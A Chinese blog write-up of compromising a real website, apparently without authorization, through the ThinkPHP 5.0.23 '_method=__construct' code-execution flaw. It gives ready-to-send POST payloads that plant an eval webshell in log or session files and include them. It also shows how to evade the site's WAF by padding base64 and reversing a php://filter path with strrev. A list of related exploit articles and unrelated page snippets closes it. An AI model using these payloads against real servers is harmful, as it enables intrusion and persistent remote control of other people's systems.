0x00 前言

朋友之前给了个站,拿了很久终于拿下,简单记录一下。

0x01 基础信息

  • 漏洞点:tp 5 method 代码执行,payload如下

    POST /?s=captcha
    
    _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
  • 无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23

  • 有waf,waf拦截了以下内容

    php标记:
    <?php
    <?=
    <? php 函数:
    base64_decode
    file_get_contents
    convert_uuencode 关键字:
    php://
  • linux

  • disable_function禁用了以下函数

    passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
  • php 7.1.7 (虽然assert 函数不在disable_function中,但已经无法用call_user_func回调调用)

0x02 突破

现在tp 5 method代码执行开发出来的一些思路,不外乎如下两种:

1,写日志,包含日志 getshell 。payload如下:

写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?> 通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();

2,写session,包含session getshell。payload如下:

写shell进session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1 包含session getshell
POST /?s=captcha _method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_kking&server[]=1

而这两种方式在这里都不可用,因为waf对<?php等关键字进行了拦截,还有其他办法吗?

base64编码与php://filter伪协议

倘若能够对关键字进行变形或者编码就好了,比如base64编码:

假如我们的session 文件为/tmp/sess_kking,内容如下

PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+
<?php @eval($_GET['r']);;?>

因为最终的利用是通过inlcude方法进行包含,其实很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的方式进行解码

最终执行类似如下:

include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');

但是session里面是会有其他字符的

如何让php://filter正确的解码呢?

p神的谈一谈php://filter的妙用文章有谈到如何巧妙用php://filter与base64编码绕过死亡exit

那么这里也一样,我们只要构造合适的字符,使得我们的webshell能够正确被base64解码即可。

本地测试

第一步,设置session

POST /?s=captcha

_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1

(注意:这里的+号需要用urlencode编码为%2b,不然会在写入session的时候被urldecode为空格,导致编码解码失败)。

疑问点1:为什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>) 呢,

答:是因为直接使用前者无论怎么拼凑字符,都没法正常解码。

疑问点2:为什么payload 前后会有两个ab?

答:是为了让shell payload 的前后两串字符串满足base64解码的长度,使其能正常解码。

第二步,包含,成功执行代码:

本地测试如此,但是在目标测试会发现执行不了,因为我们的payload使用了php://filter的协议包含了php://关键字

怎么让才能让其没有关键字呢?

tp 5 method代码执行的细节

让我们仔细观察代码执行的Request.php的filterValue方法是如何执行代码的。

我们注意到filter其实是可以传递多个的,同时参数为参数引用。

那么其实我们就可以传递多个filter来对value进行多次传递处理。如先base64_decode后将解码后的值传递给include进行包含。

但在线上这个waf是对base64_decode这个函数进行了过滤的,经过测试发现可以使用strrev反转函数突破。考虑到waf的问题,我们使用的shell payload加多一层base64编码。

同样道理这里的payload为什么要多几个分号就不需要再解释了

回到我们的getshell步骤,在目标上执行

1,设置session:

POST /?s=captcha
Cookie: PHPSESSID=kktest _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

(payload前后两个ab同样是为了base64解码凑字符的原因)

2,文件包含

POST /?s=captcha&r=cGhwaW5mbygpOw==

_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

最终成功绕过防火墙getshell。

0x03 总结

总的来说挺有趣的,也花费了好几个晚上,最终成功getshell也是非常的爽。(好在没放弃:)

记一次有趣的tp5代码执行的更多相关文章

  1. 记一次有趣的thinkphp代码执行

    0x00 前言 朋友之前给了个站,拿了很久终于拿下,简单记录一下. 0x01 基础信息 漏洞点:tp 5 method 代码执行,payload如下 POST /?s=captcha _method= ...

  2. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  3. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  4. day02编程语言,Python语言介绍,Python解释器安装,环境变量,Python代码执行,pip,应用程序使用文件的三步骤,变量,变量的三大组成,比较,pycharm

    复习 重点: 1.进制转换:二进制 与十六进制 2.内存分布:栈区 与堆区 # 二进制1111转换十六进制 => 8 4 2 1 => f 10101100111011 => 2a7 ...

  5. [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行

    0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...

  6. Samba远程代码执行漏洞(CVE-2017-7494)复现

    简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(C ...

  7. Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)

    文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22   http://192.168.1.1 ...

  8. XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)

    记一道preg_replace函数/e模式下的代码执行漏洞利用的题. 只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数. 拼接到url,页面显示index,拼接/etc ...

  9. 漏洞复现:MS12-020 远程桌面协议RDP远程代码执行漏洞

    漏洞复现:MS12-020 远程桌面协议RDP远程代码执行漏洞 攻击机:Kali2019 靶机:Win7 64位 解题步骤: 1.打开Kali2019和Win7 64位 ,确定IP地址是多少 2.确定 ...

随机推荐

  1. 实战c++中的string系列--std:vector 和std:string相互转换(vector to stringstream)

    string.vector 互转 string 转 vector vector  vcBuf;string        stBuf("Hello DaMao!!!");----- ...

  2. 【Dart学习】--Dart之数字(num)相关方法总结

    一,部分属性 用法一(figureA) int figureA = -93; 是否为负数 print(figureA.isNegative); figureA是否是有限的 print(figureA. ...

  3. 使用origin画SCI论文图

    使用origin画SCI论文图 觉得有用的话,欢迎一起讨论相互学习~Follow Me start 使用的是OriginPro这款软件,这款软件的特点是 一个字 好 . 新建工作簿并导入数据 可以使用 ...

  4. Oracle索引 详解

    作者:Dave 一.索引介绍 1.1 索引的创建语法: CREATE UNIUQE | BITMAP INDEX <schema>.<index_name> ON <sc ...

  5. iOS-Xib获取view尺寸的问题

    用xib创建的视图,我们一般要在控制器中获取对应的view尺寸,但经常我们没法获取到,或者获取的不准 如果通过xib加载出来的view尺寸是不正确的, 在xib中这个view不管你怎么设置都是治标不治 ...

  6. python signal模块

    signal包负责在Python程序内部处理信号,典型的操作包括预设信号处理函数,暂 停并等待信号,以及定时发出SIGALRM等.要注意,signal包主要是针对UNIX平台(比如Linux, MAC ...

  7. <automate the boring stuff with python> 正则强口令实例

    书中7.18的强口令实践题 写一个函数,它使用正则表达式,确保传入的口令字符串是强口令.强口令的定义是: 长度不少于8 个字符,同时包含大写和小写字符,至少有一位数字. 你可能需要用多个正则表达式来测 ...

  8. LeetCode 637. 二叉树的层平均值(Average of Levels in Binary Tree)

    637. 二叉树的层平均值 637. Average of Levels in Binary Tree LeetCode637. Average of Levels in Binary Tree 题目 ...

  9. LeetCode 172. 阶乘后的零(Factorial Trailing Zeroes)

    172. 阶乘后的零 172. Factorial Trailing Zeroes 题目描述 给定一个整数 n,返回 n! 结果尾数中零的数量. LeetCode172. Factorial Trai ...

  10. 定时任务-C#线程类 windows服务

    原理 最常用的就是C#中 timer类写一个定时方法,然后在把他宿主到windows服务里面. C#中Timer分类 关于C# Timer类  在C#里关于定时器类就有3个 C# Timer使用的方法 ...